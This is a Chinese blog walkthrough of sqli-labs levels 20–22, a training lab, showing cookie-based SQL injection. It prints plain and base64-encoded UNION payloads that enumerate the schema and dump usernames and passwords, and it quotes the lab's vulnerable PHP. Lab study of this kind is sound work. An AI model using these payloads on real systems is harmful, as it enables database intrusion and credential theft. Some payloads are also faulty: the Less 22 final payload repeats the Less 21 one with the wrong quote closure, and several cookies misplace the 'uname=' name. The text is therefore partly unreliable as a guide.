sqli-labs 通关指南:Less 20 ~ 22

Less 20 ~ 22 都不能在登录界面进行注入,我们需要先发现注入点在 cookie 中。注入的过程和 Less 1 ~ 4 的 UNION 注入相同,不过 Less 21、22 意图利用编码的方式进行混淆和防御。

Less 20#

POST-Cookie injections-Uagent field-Error based (基于错误的 cookie 头部 POST 注入)

判断注入类型#

首先随便输入正确的用户名和密码进行登录,观察到网页回显了大量信息。再次刷新,Less 20 的页面没有变化,这应该是 cookie 起到的作用。cookie 是网站为了辨别用户身份,进行 Session 跟踪而储存在用户本地终端上的数据。想要回到登录页面,我们需要先把 cookie 清除掉。

判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败。

Copy Highlighter-hljs
a' OR 1 = 1# a') OR 1 = 1# a')) OR 1 = 1# a" OR 1 = 1# a") OR 1 = 1# a")) OR 1 = 1#


为了发现注入点,我们抓包看看,首先抓登录网页发的包,没有看见什么有用的信息。

登陆之后刷新页面,我们发现此时网页通过 cookie 记录用户登录状态,所以无需再次登录。注意到所抓到的包的 cookie 中存储了用户名,由此猜测 uname 字段是个注入点。

在 uname 中使用单引号闭合,网页回显语法错误,说明 cookie 存在字符型的 Sql 注入漏洞。

Copy Highlighter-hljs
Cookie: uname=admin'


注入单引号之后用 “#” 把后面的内容注释掉,网页回显正常,说明该语句使用单引号闭合。

Copy Highlighter-hljs
Cookie: uname=admin'#

获取数据库信息#

首先我们判断有几列我们可用,因为网页回显了 Login name、Your Password 和 ID 3 个字段,猜测有 3 列我们可用。使用联合查询注入 3 个常数验证猜想,得到 3 列的回显位置。

Copy Highlighter-hljs
Cookie: uname=' UNION SELECT 1,2,3#


接下来的注入操作和 Less 1 的操作一样,这里需要在 cookie 进行注入,爆数据库名。

Copy Highlighter-hljs
Cookie: uname=' UNION SELECT database(),2,3#


爆表名。

Copy Highlighter-hljs
Cookie: uname=' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema = 'security'#


爆字段名。

Copy Highlighter-hljs
Cookie: uname=' UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'#

获取目标信息#

该关卡知道 Sql 注入点之后就很顺畅了,构造出 payload 如下:

Copy Highlighter-hljs
Cookie: uname=' UNION SELECT group_concat(concat(":",username,password)),2,3 FROM security.users#

关卡源码#

源码有两个关键部分,第一部分用于用户登录,可以看到 uname 和 passwd 都进行了强效的过滤。setcookie() 函数向客户端发送一个 HTTP cookie,当用户成功登录时会被调用。header() 函数向客户端发送原始的 HTTP 报头,此处可以让客户的页面跳转到 “index.php”。

Copy Highlighter-hljs
if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); $sql = "SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); $cookee = $row1['username']; if($row1) { echo '<font color= "#FFFF00" font size = 3 >'; setcookie('uname', $cookee, time()+3600); header ('Location: index.php'); echo "I LOVE YOU COOKIES"; echo "</font>"; echo '<font color= "#0000ff" font size = 3 >'; //echo 'Your Cookie is: ' .$cookee; echo "</font>"; echo "<br>"; print_r(mysql_error()); echo "<br><br>"; echo '<img src="../images/flag.jpg" />'; echo "<br>"; } else { echo '<font color= "#0000ff" font size="3">'; //echo "Try again looser"; print_r(mysql_error()); echo "</br>"; echo "</br>"; echo '<img src="../images/slap.jpg" />'; echo "</font>"; } }

第二部分是当 cookie 还未过期时,就把 cookie 中的 uname 剥离出来进行一个查询。如果查询用户存在,则把 HTTP 包中的 USER AGENT、IP ADDRESS 和 COOKIE 回显出来,并显示 username、password 和 id。在上面一个模块用户登录成功之后,也是进入这个模块显示的页面。当触发 “Delete Your Cookie!” 按钮时,可以手动把 cookie 给打掉。

Copy Highlighter-hljs
if(!isset($_POST['submit'])) { $cookee = $_COOKIE['uname']; $format = 'D d M Y - H:i:s'; $timestamp = time() + 3600; echo "<center>"; echo '<br><br><br>'; echo '<img src="../images/Less-20.jpg" />'; echo "<br><br><b>"; echo '<br><font color= "red" font size="4">'; echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT']; echo "</font><br>"; echo '<font color= "cyan" font size="4">'; echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR']; echo "</font><br>"; echo '<font color= "#FFFF00" font size = 4 >'; echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>"; echo '<font color= "orange" font size = 5 >'; echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp); echo "<br></font>"; $sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; $result = mysql_query($sql); if (!$result) { die('Issue with your mysql: ' . mysql_error()); } $row = mysql_fetch_array($result); if($row) { echo '<font color= "pink" font size="5">'; echo 'Your Login name:'. $row['username']; echo "<br>"; echo '<font color= "grey" font size="5">'; echo 'Your Password:' .$row['password']; echo "</font></b>"; echo "<br>"; echo 'Your ID:' .$row['id']; } else { echo "<center>"; echo '<br><br><br>'; echo '<img src="../images/slap1.jpg" />'; echo "<br><br><b>"; //echo '<img src="../images/Less-20.jpg" />'; } echo '<center>'; echo '<form action="" method="post">'; echo '<input type="submit" name="submit" value="Delete Your Cookie!" />'; echo '</form>'; echo '</center>'; } else { echo '<center>'; echo "<br>"; echo '<font color= "#FFFF00" font size = 6 >'; echo " Your Cookie is deleted"; setcookie('uname', $row1['username'], time()-3600); header ('Location: index.php'); echo '</font></center></br>'; }

Less 21#

Cookie Injection-Error Based-complex-string (基于错误的复杂的字符型 Cookie 注入)

判断注入类型#

输入正确的用户名和密码进行登录,和 Less 20 一样网页回显了大量信息,再次刷新 Less 21 的页面没有变化。判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败。

Copy Highlighter-hljs
a' OR 1 = 1# a') OR 1 = 1# a')) OR 1 = 1# a" OR 1 = 1# a") OR 1 = 1# a")) OR 1 = 1#


抓登录网页发的包,没有看见什么有用的信息。

登陆之后刷新页面抓包,所抓到的包的 cookie 中的 uname 存储了一团乱码。

“%3D” 是 URL 编码中的等号,这个形式我们会优先考虑是 base64 编码,拿去解码看看。

由此我们得知 cookie 会对 uname 进行 base64 编码,这种防御还是很弱的,我们测试的时候也进行 base64 编码即可。在 uname 中使用单引号闭合,网页回显语法错误。

Copy Highlighter-hljs
Cookie: uname=YWRtaW4n


测试使用单引号和括号闭合,网页正常回显数据,说明 cookie 存在使用单引号和括号闭合的字符型的 Sql 注入漏洞。

Copy Highlighter-hljs
Cookie: YWRtaW4nKSM=

获取数据库信息#

判断有几列我们可用,使用联合查询注入 3 个常数,得到 3 列的回显位置。

Copy Highlighter-hljs
Cookie: uname=JykgVU5JT04gU0VMRUNUIDEsMiwzIw==


接下来的注入操作和 Less 20 的操作一样,在注入之前使用 base64 编码,爆数据库名。

Copy Highlighter-hljs
Cookie: uname=JykgVU5JT04gU0VMRUNUIGRhdGFiYXNlKCksMiwzIw==


爆表名。

Copy Highlighter-hljs
Cookie: uname=JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwyLDMgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYSA9ICdzZWN1cml0eScj


爆字段名。

Copy Highlighter-hljs
Cookie: uname=JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSksMiwzIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyBBTkQgdGFibGVfbmFtZSA9ICd1c2Vycycj

获取目标信息#

构造出 payload 如下:

Copy Highlighter-hljs
Cookie: dW5hbWU9JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb25jYXQoIjoiLHVzZXJuYW1lLHBhc3N3b3JkKSksMiwzIEZST00gc2VjdXJpdHkudXNlcnMj

关卡关键源码#

Copy Highlighter-hljs
setcookie('uname', base64_encode($row1['username']), time()+3600); $cookee = base64_decode($cookee); $sql = "SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1"; $result = mysql_query($sql);

Less 22#

Cookie Injection-Error Based-Double Quotes-string (基于错误的双引号字符型 Cookie 注入)

判断注入类型#

判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败。

Copy Highlighter-hljs
a' OR 1 = 1# a') OR 1 = 1# a')) OR 1 = 1# a" OR 1 = 1# a") OR 1 = 1# a")) OR 1 = 1#


登陆之后刷新页面抓包,所抓到的包的 cookie 中的 uname 存储了一团乱码。

“%3D” 是 URL 编码中的等号,Less 22 使用的也是 base64 编码。

在 uname 中使用单引号闭合,网页回显语法错误。

Copy Highlighter-hljs
Cookie: uname=YWRtaW4n


测试使用双引号闭合,网页正常回显数据,说明 cookie 存在使用双引号闭合的字符型的 Sql 注入漏洞。

Copy Highlighter-hljs
Cookie: YWRtaW4iIw==

获取数据库信息#

判断有几列我们可用,使用联合查询注入 3 个常数,得到 3 列的回显位置。

Copy Highlighter-hljs
Cookie: uname=IiBVTklPTiBTRUxFQ1QgMSwyLDMj


接下来的注入操作和 Less 20 的操作一样,在注入之前使用 base64 编码,爆数据库名。

Copy Highlighter-hljs
Cookie: uname=IiBVTklPTiBTRUxFQ1QgZGF0YWJhc2UoKSwyLDMj


爆表名。

Copy Highlighter-hljs
Cookie: uname=IiBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpLDIsMyBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyM=


爆字段名。

Copy Highlighter-hljs
Cookie: uname=IiBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSwyLDMgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9zY2hlbWEgPSAnc2VjdXJpdHknIEFORCB0YWJsZV9uYW1lID0gJ3VzZXJzJyM=

获取目标信息#

构造出 payload 如下:

Copy Highlighter-hljs
Cookie: dW5hbWU9JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb25jYXQoIjoiLHVzZXJuYW1lLHBhc3N3b3JkKSksMiwzIEZST00gc2VjdXJpdHkudXNlcnMj

关卡关键源码#

Copy Highlighter-hljs
$cookee = base64_decode($cookee); $cookee1 = '"'. $cookee. '"'; $sql = "SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1"; $result = mysql_query($sql);
posted @   乌漆WhiteMoon  阅读(1479)  评论(0编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示
CONTENTS